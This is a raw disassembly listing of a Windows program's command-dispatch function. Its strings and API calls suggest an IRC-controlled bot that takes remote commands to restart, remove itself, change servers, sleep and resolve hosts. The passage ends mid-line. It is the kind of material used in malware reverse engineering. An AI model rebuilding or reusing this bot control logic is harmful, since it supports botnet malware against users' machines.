mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41EF18 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_41EC10 call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset dword_41EAFC push offset dword_41EC10 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx shl eax, 1 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C ; free pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 ; clock mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 ; clock sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, off_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C ; free pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41EF18 push offset dword_419B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset dword_41EAFC push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41DA80 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DE00 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41ED18 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED18 push offset dword_41DA80 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DE00 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AB0 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, off_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp dword_41DE08, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov dword_41DE08, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and dword_41DE08, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_419A3C call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call dword_41705C ; ExitProcess loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE00 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE54 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; --------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call dword_41709C ; Sleep loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj push [ebp+var_5B78] call dword_41DE5C ; freeaddrinfo jmp short loc_40C0D4 ; --------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE00 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE54 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call dword_41DE5C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1D4: ; CODE XREF: 